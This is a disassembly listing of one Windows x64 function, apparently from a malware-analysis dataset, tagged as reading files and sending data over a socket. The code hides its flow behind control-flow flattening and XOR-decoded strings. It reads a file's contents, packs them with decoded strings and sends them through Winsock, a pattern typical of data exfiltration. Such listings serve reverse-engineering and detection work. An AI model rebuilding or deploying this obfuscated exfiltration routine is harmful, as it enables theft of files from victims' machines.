Function at 0x14000adf0
Capabilities:
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x1108
call fcn.14001bfc0
sub rsp, rax
movaps xmmword [rsp + 0x10f0], xmm6
mov qword [rsp + 0xe0], r8
movabs rax, 0x403f3e3d3c3b3a39
mov qword [rsp + 0xf5], rax
movabs rax, 0x3b3a393837365746
mov qword [rsp + 0xf0], rax
lea rdi, [rsp + 0xf0]
mov qword [rsp + 0x30], rdi
mov r10d, 0x30682701
mov eax, 0x8d3dcb09
mov r8d, 0x4074d41e
mov r9d, 0x721a486d
nop word cs:[rax + rax]
cmp r10d, 0x8e9ed46d
je 0x14000aea5
cmp r10d, 0x721a486d
je 0x14000af56
cmp r10d, 0x30682701
jne 0x14000ae70
mov r10, qword [rsp + 0x30]
cmp byte [r10 + 0xc], 0
mov r10d, 0x8e9ed46d
cmove r10d, r9d
jmp 0x14000ae70
mov r10, qword [rsp + 0x30]
mov r11, qword [rsp + 0x30]
mov qword [rsp + 0x50], r11
xor ebx, ebx
mov r11d, ebx
mov rsi, r11
imul rsi, rax
shr rsi, 0x25
imul ebp, esi, 0x3a
mov esi, ebx
sub esi, ebp
add sil, 0x34
cmp ebx, 0xd
mov ebx, 0x9ea951dd
cmovb ebx, r8d
mov ebp, 0xdc765aea
cmp ebp, 0xdc765ae9
jle 0x14000af20
cmp ebp, 0xdc765aea
je 0x14000af37
cmp ebp, 0x3ffe1590
je 0x14000af4b
cmp ebp, 0x4074d41e
jne 0x14000aee0
movzx ebp, byte [r10 + r11]
xor bpl, sil
mov r14, qword [rsp + 0x50]
mov byte [r14 + r11], bpl
mov ebp, 0x97b97cee
jmp 0x14000aee0
cmp ebp, 0x97b97cee
je 0x14000af40
cmp ebp, 0x9ea951dd
jne 0x14000aee0
mov ebp, 0x3ffe1590
jmp 0x14000aee0
mov ebp, ebx
jmp 0x14000aee0
inc r11d
mov ebx, r11d
jmp 0x14000aeb6
mov r10d, 0x721a486d
jmp 0x14000ae70
movsxd rsi, ecx
mov rax, qword [rsp + 0x30]
mov rcx, rdx
mov rdx, rdi
call fcn.14002382c
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe8], rax
mov eax, 0xc2ff60da
mov r12d, 0x8d3dcb09
mov ebp, 0x6237ebcb
mov r14d, 0xe8996daa
xorps xmm6, xmm6
mov rbx, qword [sym.imp.WS2_32.dll_closesocket]
mov r13, qword [sym.imp.WS2_32.dll_WSACleanup]
cmp eax, 0xc2ff60d9
jle 0x14000afe0
cmp eax, 0x38bde131
je 0x14000aff5
cmp eax, 0x191689b4
je 0x14000bb43
cmp eax, 0xc2ff60da
jne 0x14000afa0
cmp qword [rsp + 0xe8], 0
mov eax, 0xb750696f
mov ecx, 0x38bde131
cmove eax, ecx
jmp 0x14000afa0
cmp eax, 0xb750696f
je 0x14000b004
cmp eax, 0xbebacb37
jne 0x14000afa0
mov eax, 0x191689b4
jmp 0x14000afa0
mov rcx, rsi
call rbx
call r13
mov eax, 0xbebacb37
jmp 0x14000afa0
mov rbx, qword [rsp + 0xd8]
mov rcx, rbx
xor edx, edx
mov r8d, 2
call fcn.140023c38
mov rcx, rbx
call fcn.140023f58
mov r13d, eax
mov rcx, rbx
xor edx, edx
xor r8d, r8d
call fcn.140023c38
movsxd r15, r13d
mov rcx, r15
call fcn.140024520
mov edx, 1
mov qword [rsp + 0xd0], rax
mov rcx, rax
mov qword [rsp + 0xc0], r15
mov r8, r15
mov r9, rbx
call fcn.14002399c
mov rcx, rbx
call fcn.140023670
mov r8d, 0x1000
mov rcx, rdi
xor edx, edx
call fcn.140035a20
movups xmm0, xmmword [0x140037318]
movaps xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x60], 0x44
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov eax, 0x5b7d33d6
nop word [rax + rax]
cmp eax, 0x81a21639
je 0x14000b1a4
cmp eax, 0xb298de02
je 0x14000b0d1
cmp eax, 0x5b7d33d6
jne 0x14000b0a0
mov rax, qword [rsp + 0x20]
cmp byte [rax + 0x10], 0
mov eax, 0xb298de02
mov ecx, 0x81a21639
cmove eax, ecx
jmp 0x14000b0a0
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
mov qword [rsp + 0x30], rcx
xor r8d, r8d
mov ecx, r8d
mov rdx, rcx
imul rdx, r12
shr rdx, 0x25
imul r9d, edx, 0x3a
mov edx, r8d
sub edx, r9d
add dl, 0x34
cmp r8d, 0x11
mov r8d, 0x7bc2c37f
mov r9d, 0x391dfdb4
cmovb r8d, r9d
mov r9d, 0x49fef1fe
nop dword [rax + rax]
cmp r9d, 0x391dfdb3
jle 0x14000b150
cmp r9d, 0x391dfdb4
je 0x14000b164
cmp r9d, 0x49fef1fe
je 0x14000b17d
cmp r9d, 0x7bc2c37f
jne 0x14000b120
mov r9d, 0xe527f846
jmp 0x14000b120
cmp r9d, 0xaf186fdc
je 0x14000b190
cmp r9d, 0xe527f846
jne 0x14000b120
jmp 0x14000b19a
movzx r9d, byte [rax + rcx]
xor r9b, dl
mov r10, qword [rsp + 0x30]
mov byte [r10 + rcx], r9b
mov r9d, 0xaf186fdc
jmp 0x14000b120
mov r9d, r8d
jmp 0x14000b120
inc ecx
mov r8d, ecx
jmp 0x14000b0e3
mov eax, 0x81a21639
jmp 0x14000b0a0
mov rax, qword [rsp + 0x20]
mov edx, 0x175c19b
lea rax, [rsp + 0x50]
mov rcx, rdi
nop word cs:[rax + rax]
cmp edx, 0x19987a39
je 0x14000b1fd
cmp edx, 0x18dff48
je 0x14000b1f6
cmp edx, 0x175c19b
jne 0x14000b1c0
movzx edx, byte [rax]
inc rax
mov byte [rcx], dl
inc rcx
test dl, dl
mov edx, 0x18dff48
mov r8d, 0x19987a39
cmove edx, r8d
jmp 0x14000b1c0
mov edx, 0x175c19b
jmp 0x14000b1c0
movups xmm0, xmmword [0x140037329]
movaps xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x60], 0x4544
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov eax, 0xb54cd16
nop
cmp eax, 0xe8996da9
jg 0x14000b250
cmp eax, 0xb880d09d
je 0x14000b285
cmp eax, 0xcabbed7a
je 0x14000b34a
cmp eax, 0xd736ae86
jne 0x14000b220
jmp 0x14000b47d
cmp eax, 0xe8996daa
je 0x14000b370
cmp eax, 0x1be9d3cf
je 0x14000b42a
cmp eax, 0xb54cd16
jne 0x14000b220
mov rax, qword [rsp + 0x20]
cmp byte [rax + 0x11], 0
mov eax, 0xcabbed7a
mov ecx, 0xd736ae86
cmove eax, ecx
jmp 0x14000b220
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
mov qword [rsp + 0x30], rcx
xor r8d, r8d
mov ecx, r8d
mov rdx, rcx
imul rdx, r12
shr rdx, 0x25
imul r9d, edx, 0x3a
mov edx, r8d
sub edx, r9d
add dl, 0x34
cmp r8d, 0x12
mov r8d, 0xcab1913b
cmovb r8d, ebp
mov r9d, 0xf3403f3e
nop word cs:[rax + rax]
cmp r9d, 0xf3403f3d
jle 0x14000b310
cmp r9d, 0xf3403f3e
je 0x14000b32e
cmp r9d, 0x571eaa78
je 0x14000b340
cmp r9d, 0x6237ebcb
jne 0x14000b2d0
movzx r9d, byte [rax + rcx]
xor r9b, dl
mov r10, qword [rsp + 0x30]
mov byte [r10 + rcx], r9b
mov r9d, 0x571eaa78
jmp 0x14000b2d0
cmp r9d, 0x8695ba8d
je 0x14000b434
cmp r9d, 0xcab1913b
jne 0x14000b2d0
mov r9d, 0x8695ba8d
jmp 0x14000b2d0
mov r9d, r8d
jmp 0x14000b2d0
inc ecx
mov r8d, ecx
jmp 0x14000b297
mov eax, dword [0x140044cd8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xe8996daa
mov r8d, 0xb880d09d
jmp 0x14000b456
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
mov qword [rsp + 0x30], rcx
xor r8d, r8d
mov ecx, r8d
mov rdx, rcx
imul rdx, r12
shr rdx, 0x25
imul r9d, edx, 0x3a
mov edx, r8d
sub edx, r9d
add dl, 0x34
cmp r8d, 0x12
mov r8d, 0xcab1913b
cmovb r8d, ebp
mov r9d, 0xf3403f3e
nop word cs:[rax + rax]
cmp r9d, 0xf3403f3d
jle 0x14000b400
cmp r9d, 0xf3403f3e
je 0x14000b41a
cmp r9d, 0x571eaa78
je 0x14000b420
cmp r9d, 0x6237ebcb
jne 0x14000b3c0
movzx r9d, byte [rax + rcx]
xor r9b, dl
mov r10, qword [rsp + 0x30]
mov byte [r10 + rcx], r9b
mov r9d, 0x571eaa78
jmp 0x14000b3c0
cmp r9d, 0x8695ba8d
je 0x14000b473
cmp r9d, 0xcab1913b
jne 0x14000b3c0
mov r9d, 0x8695ba8d
jmp 0x14000b3c0
mov r9d, r8d
jmp 0x14000b3c0
inc ecx
mov r8d, ecx
jmp 0x14000b382
mov eax, 0xd736ae86
jmp 0x14000b220
mov eax, dword [0x140044cd8]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0xe8996daa
mov r8d, 0x1be9d3cf
cmove eax, r8d
cmp dword [0x140044cdc], 0xa
cmovge eax, r14d
setl dl
xor dl, cl
cmovne eax, r8d
jmp 0x14000b220
mov eax, 0xb880d09d
jmp 0x14000b220
mov rax, qword [rsp + 0x20]
mov rcx, rdi
lea rbx, [rsp + 0x50]
mov rdx, rbx
call fcn.14000aaa0
movups xmm0, xmmword [str.55_80M__a_r]
movaps xmmword [rsp + 0xb0], xmm0
movups xmm0, xmmword [0x14003738b]
movaps xmmword [rsp + 0xa0], xmm0
movups xmm0, xmmword [0x14003737b]
movaps xmmword [rsp + 0x90], xmm0
movups xmm0, xmmword [0x14003736b]
movaps xmmword [rsp + 0x80], xmm0
movups xmm0, xmmword [0x14003735b]
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [0x14003734b]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x14003733b]
movaps xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x20], rbx
mov eax, 0xe9cd74e0
nop dword [rax]
cmp eax, 0xa5fae623
je 0x14000b531
cmp eax, 0x27ef4925
je 0x14000b604
cmp eax, 0xe9cd74e0
jne 0x14000b500
mov rax, qword [rsp + 0x20]
cmp byte [rax + 0x6f], 0
mov eax, 0xa5fae623
mov ecx, 0x27ef4925
cmove eax, ecx
jmp 0x14000b500
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
mov qword [rsp + 0x30], rcx
xor r8d, r8d
mov ecx, r8d
mov rdx, rcx
imul rdx, r12
shr rdx, 0x25
imul r9d, edx, 0x3a
mov edx, r8d
sub edx, r9d
add dl, 0x34
cmp r8d, 0x70
mov r8d, 0x24ad071
mov r9d, 0x92212f63
cmovb r8d, r9d
mov r9d, 0x6ea47a4f
nop dword [rax + rax]
cmp r9d, 0xf23d3548
jle 0x14000b5b0
cmp r9d, 0xf23d3549
je 0x14000b5fa
cmp r9d, 0x6ea47a4f
je 0x14000b5c4
cmp r9d, 0x24ad071
jne 0x14000b580
mov r9d, 0xf23d3549
jmp 0x14000b580
cmp r9d, 0x92212f63
je 0x14000b5c9
cmp r9d, 0xa16b82c2
jne 0x14000b580
jmp 0x14000b5f0
mov r9d, r8d
jmp 0x14000b580
movzx r9d, byte [rax + rcx]
xor r9b, dl
mov r10, qword [rsp + 0x30]
mov byte [r10 + rcx], r9b
mov r9d, 0xa16b82c2
jmp 0x14000b580
inc ecx
mov r8d, ecx
jmp 0x14000b543
mov eax, 0x27ef4925
jmp 0x14000b500
mov rax, qword [rsp + 0x20]
mov rcx, rdi
lea r14, [rsp + 0x50]
mov rdx, r14
call fcn.14000aaa0
movaps xmmword [rsp + 0x40], xmm6
movaps xmmword [rsp + 0x30], xmm6
lea r9d, [r13 + 0xc8]
mov edx, 0x20
lea rbx, [rsp + 0x30]
mov rcx, rbx
lea r8, [0x14003dcdd]
call fcn.140003a40
mov rcx, rdi
mov rdx, rbx
call fcn.14000aaa0
movups xmm0, xmmword [0x1400373fb]
movaps xmmword [rsp + 0xa0], xmm0
movups xmm0, xmmword [0x1400373eb]
movaps xmmword [rsp + 0x90], xmm0
movups xmm0, xmmword [0x1400373db]
movaps xmmword [rsp + 0x80], xmm0
movups xmm0, xmmword [0x1400373cb]
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [0x1400373bb]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x1400373ab]
movaps xmmword [rsp + 0x50], xmm0
movabs rax, 0x607d6338313a343c
mov qword [rsp + 0xaf], rax
mov qword [rsp + 0x28], r14
mov eax, 0x47cdd433
nop dword [rax + rax]
cmp eax, 0xb63e920c
je 0x14000b7c4
cmp eax, 0xf2636e2f
je 0x14000b6f1
cmp eax, 0x47cdd433
jne 0x14000b6c0
mov rax, qword [rsp + 0x28]
cmp byte [rax + 0x66], 0
mov eax, 0xf2636e2f
mov ecx, 0xb63e920c
cmove eax, ecx
jmp 0x14000b6c0
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov ecx, r8d
mov rdx, rcx
imul rdx, r12
shr rdx, 0x25
imul r9d, edx, 0x3a
mov edx, r8d
sub edx, r9d
add dl, 0x34
cmp r8d, 0x67
mov r8d, 0x3d597e1e
mov r9d, 0x5f8ade84
cmovb r8d, r9d
mov r9d, 0x4a62e8c4
nop dword [rax + rax]
cmp r9d, 0x4a62e8c3
jle 0x14000b770
cmp r9d, 0x4a62e8c4
je 0x14000b78a
cmp r9d, 0x5f8ade84
je 0x14000b78f
cmp r9d, 0x6101e8b2
jne 0x14000b740
jmp 0x14000b7b0
cmp r9d, 0xa5ba1c7b
je 0x14000b7ba
cmp r9d, 0x3d597e1e
jne 0x14000b740
mov r9d, 0xa5ba1c7b
jmp 0x14000b740
mov r9d, r8d
jmp 0x14000b740
movzx r9d, byte [rax + rcx]
xor r9b, dl
mov r10, qword [rsp + 0x20]
mov byte [r10 + rcx], r9b
mov r9d, 0x6101e8b2
jmp 0x14000b740
inc ecx
mov r8d, ecx
jmp 0x14000b703
mov eax, 0xb63e920c
jmp 0x14000b6c0
mov rax, qword [rsp + 0x28]
mov rcx, rdi
lea rbx, [rsp + 0x50]
mov rdx, rbx
call fcn.14000aaa0
mov rcx, rdi
mov rdx, qword [rsp + 0xe0]
call fcn.14000aaa0
movups xmm0, xmmword [0x14003742b]
movups xmmword [rsp + 0x69], xmm0
movups xmm0, xmmword [str.5h_:____._8__USWQ9_e]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x140037412]
movaps xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x28], rbx
mov eax, 0x72144d55
nop word [rax + rax]
cmp eax, 0x99fabb4c
je 0x14000b851
cmp eax, 0xa04cb7a8
je 0x14000b914
cmp eax, 0x72144d55
jne 0x14000b820
mov rax, qword [rsp + 0x28]
cmp byte [rax + 0x28], 0
mov eax, 0x99fabb4c
mov ecx, 0xa04cb7a8
cmove eax, ecx
jmp 0x14000b820
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov ecx, r8d
mov rdx, rcx
imul rdx, r12
shr rdx, 0x25
imul r9d, edx, 0x3a
mov edx, r8d
sub edx, r9d
add dl, 0x34
cmp r8d, 0x29
mov r8d, 0xe31f9b6f
mov r9d, 0xb9688074
cmovb r8d, r9d
mov r9d, 0xd6ddbf6c
nop dword [rax + rax]
cmp r9d, 0xe31f9b6e
jle 0x14000b8d0
cmp r9d, 0x2f064410
je 0x14000b90a
cmp r9d, 0x2216b40b
je 0x14000b900
cmp r9d, 0xe31f9b6f
jne 0x14000b8a0
mov r9d, 0x2f064410
jmp 0x14000b8a0
cmp r9d, 0xb9688074
je 0x14000b8e7
cmp r9d, 0xd6ddbf6c
jne 0x14000b8a0
mov r9d, r8d
jmp 0x14000b8a0
movzx r9d, byte [rax + rcx]
xor r9b, dl
mov r10, qword [rsp + 0x20]
mov byte [r10 + rcx], r9b
mov r9d, 0x2216b40b
jmp 0x14000b8a0
inc ecx
mov r8d, ecx
jmp 0x14000b863
mov eax, 0xa04cb7a8
jmp 0x14000b820
mov rbx, rdi
mov qword [rsp + 0xc8], rsi
mov rax, qword [rsp + 0x28]
mov rcx, rdi
lea r12, [rsp + 0x50]
mov rdx, r12
call fcn.14000aaa0
mov rcx, rdi
call fcn.140035fb0
mov rsi, rax
movups xmm0, xmmword [0x14003745a]
movups xmmword [rsp + 0x6f], xmm0
movups xmm0, xmmword [0x14003744b]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x14003743b]
movaps xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x28], r12
mov r11d, 0x8d3dcb09
mov eax, 0x5404bf8b
nop word cs:[rax + rax]
cmp eax, 0xab2e4dee
je 0x14000b9b1
cmp eax, 0xae127284
je 0x14000ba84
cmp eax, 0x5404bf8b
jne 0x14000b980
mov rax, qword [rsp + 0x28]
cmp byte [rax + 0x2e], 0
mov eax, 0xab2e4dee
mov ecx, 0xae127284
cmove eax, ecx
jmp 0x14000b980
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov ecx, r8d
mov rdx, rcx
imul rdx, r11
shr rdx, 0x25
imul r9d, edx, 0x3a
mov edx, r8d
sub edx, r9d
add dl, 0x34
cmp r8d, 0x2f
mov r8d, 0x99a7e224
mov r9d, 0x2474d9ea
cmovb r8d, r9d
mov r9d, 0x39bb3575
nop dword [rax + rax]
cmp r9d, 0xfb3cd1ae
jle 0x14000ba30
cmp r9d, 0xfb3cd1af
je 0x14000ba70
cmp r9d, 0x2474d9ea
je 0x14000ba44
cmp r9d, 0x39bb3575
jne 0x14000ba00
mov r9d, r8d
jmp 0x14000ba00
cmp r9d, 0x99a7e224
je 0x14000ba65
cmp r9d, 0xaf560947
jne 0x14000ba00
jmp 0x14000ba7a
mov r9d, edx
xor r9b, dl
not r9b
and r9b, byte [rax + rcx]
xor r9b, dl
mov r10, qword [rsp + 0x20]
mov byte [r10 + rcx], r9b
mov r9d, 0xfb3cd1af
jmp 0x14000ba00
mov r9d, 0xaf560947
jmp 0x14000ba00
inc ecx
mov r8d, ecx
jmp 0x14000b9c3
mov eax, 0xae127284
jmp 0x14000b980
mov rax, qword [rsp + 0x28]
lea r12, [rsp + 0x50]
mov rcx, r12
call fcn.140035fb0
mov rbx, rax
add r13d, esi
add r13d, ebx
movsxd r13, r13d
mov rcx, r13
call fcn.140024520
mov rbp, rax
movsxd rsi, esi
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call fcn.140035380
add rsi, rbp
mov rcx, rsi
mov r15, qword [rsp + 0xd0]
mov rdx, r15
mov r14, qword [rsp + 0xc0]
mov r8, r14
call fcn.140035380
add rsi, r14
movsxd r8, ebx
mov rcx, rsi
mov rdx, r12
mov r12d, 0x8d3dcb09
call fcn.140035380
mov rsi, qword [rsp + 0xc8]
mov rcx, rsi
mov rdx, rbp
mov ebp, 0x6237ebcb
mov r8d, r13d
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov rcx, r15
call fcn.140023c30
mov rcx, rsi
mov rbx, qword [sym.imp.WS2_32.dll_closesocket]
call rbx
mov r13, qword [sym.imp.WS2_32.dll_WSACleanup]
call r13
mov eax, 0xbebacb37
mov r14d, 0xe8996daa
jmp 0x14000afa0
movaps xmm6, xmmword [rsp + 0x10f0]
add rsp, 0x1108
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret